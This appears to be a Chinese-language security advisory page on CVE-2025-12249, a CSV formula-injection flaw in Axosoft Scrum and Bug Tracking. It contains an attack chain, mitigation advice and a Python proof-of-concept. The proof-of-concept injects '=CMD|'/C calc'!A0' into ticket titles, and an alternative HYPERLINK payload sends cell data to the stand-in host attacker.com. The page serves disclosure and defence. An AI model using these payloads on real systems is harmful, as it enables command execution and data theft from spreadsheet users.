IPBUF安全漏洞报告
English
CVE-2025-12249 CVSS 6.3 中危

CVE-2025-12249: Axosoft Scrum和Bug Tracking编辑工单页面CSV注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12249
漏洞类型
CSV注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Axosoft Scrum and Bug Tracking

相关标签

CSV注入公式注入AxosoftScrumBug TrackingCVE-2025-12249Web应用漏洞客户端攻击

漏洞概述

CVE-2025-12249是Axosoft Scrum and Bug Tracking 22.1.1.11545版本中存在的一个CSV注入漏洞。该漏洞位于编辑工单页面(Edit Ticket Page)组件中,攻击者可以通过操纵Title参数来注入恶意CSV内容。当导出的CSV文件被用户在Microsoft Excel或其他电子表格软件中打开时,注入的恶意公式可能会被执行,从而导致数据泄露、远程代码执行或其他安全问题。由于该漏洞可通过网络远程利用,且不需要高权限认证,因此存在一定的安全风险。值得注意的是,漏洞发现者已联系厂商但未获得任何回应,漏洞利用代码已被公开披露。

技术细节

该漏洞属于CSV注入(CSV Injection)类型,也称为公式注入。漏洞原理如下:攻击者在Axosoft Scrum and Bug Tracking系统的编辑工单页面中,通过Title参数输入恶意构造的CSV特殊字符或公式。当系统管理员或其他用户导出工单数据为CSV格式并用Excel等软件打开时,恶意公式(如=CMD|'/C calc'!A0 或 =HYPERLINK())会被当作有效公式执行,从而触发客户端攻击。在Excel中,以等号(=)、加号(+)或减号(-)开头的单元格内容会被解释为公式。攻击者可以利用此特性执行任意命令、窃取敏感信息或进行钓鱼攻击。漏洞利用条件包括:低权限账户可访问编辑工单功能、系统支持CSV导出、受害者使用支持公式执行的电子表格软件打开导出的CSV文件。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统使用Axosoft Scrum and Bug Tracking,发现存在编辑工单页面和CSV导出功能
STEP 2
Initial Access
攻击者获取系统低权限账户(如普通用户账号),登录系统
STEP 3
Payload Injection
攻击者在编辑工单页面的Title参数中注入恶意CSV公式(如=CMD|'/C calc'!A0)
STEP 4
Data Export
系统管理员或有权限用户导出工单数据为CSV格式
STEP 5
Formula Execution
受害者在Microsoft Excel或其他电子表格软件中打开CSV文件,恶意公式自动执行
STEP 6
Impact
公式执行导致命令执行(读取本地文件、远程代码执行)或敏感数据泄露到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib3 urllib3.disable_warnings() # CVE-2025-12249 PoC - CSV Injection in Axosoft Scrum and Bug Tracking # Target: Axosoft Scrum and Bug Tracking 22.1.1.11545 # Attack Vector: Edit Ticket Page - Title Parameter TARGET_URL = "https://target-axosoft-server.com" LOGIN_URL = f"{TARGET_URL}/api/auth/login" EDIT_TICKET_URL = f"{TARGET_URL}/api/tickets/edit" EXPORT_CSV_URL = f"{TARGET_URL}/api/tickets/export" # Malicious CSV payload - formula injection CSV_PAYLOAD = "=CMD|'/C calc'!A0" # Calculator execution payload CSV_PAYLOAD_ALT = "=HYPERLINK(\"http://attacker.com/steal?data=\"&A1,\"Click Here\")" def exploit_csv_injection(): """ Step 1: Authenticate with low-privilege account Step 2: Create or edit a ticket with malicious Title Step 3: Export tickets to CSV Step 4: When victim opens CSV, formula executes """ session = requests.Session() # Authentication login_data = { "username": "low_priv_user", "password": "user_password" } resp = session.post(LOGIN_URL, json=login_data, verify=False) if resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Edit ticket with malicious Title edit_data = { "ticket_id": 12345, "Title": CSV_PAYLOAD, # Inject malicious formula "Description": "Normal description" } resp = session.post(EDIT_TICKET_URL, json=edit_data, verify=False) if resp.status_code == 200: print("[+] Malicious ticket updated successfully") print(f"[+] Payload injected: {CSV_PAYLOAD}") else: print("[-] Failed to update ticket") return False # Export CSV (victim action) print("[*] Victim exports tickets to CSV...") resp = session.get(EXPORT_CSV_URL, verify=False) if resp.status_code == 200: print("[+] CSV exported with malicious payload") # Save exported CSV with open("exported_tickets.csv", "w") as f: f.write(resp.text) print("[+] CSV saved to exported_tickets.csv") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-12249 - Axosoft CSV Injection PoC") print("=" * 60) exploit_csv_injection()

影响范围

Axosoft Scrum and Bug Tracking 22.1.1.11545

防御指南

临时缓解措施
在厂商发布修复补丁之前,建议采取以下临时缓解措施:1) 禁用或限制CSV导出功能的使用;2) 对所有工单标题字段实施严格的输入验证,过滤=、+、-、@等CSV公式特殊字符;3) 在导出CSV时对所有单元格内容添加单引号前缀以阻止公式执行;4) 提醒用户不要直接用Excel打开来源不明的CSV文件,或在打开前使用文本编辑器检查内容;5) 监控系统日志,检测异常的工单编辑行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表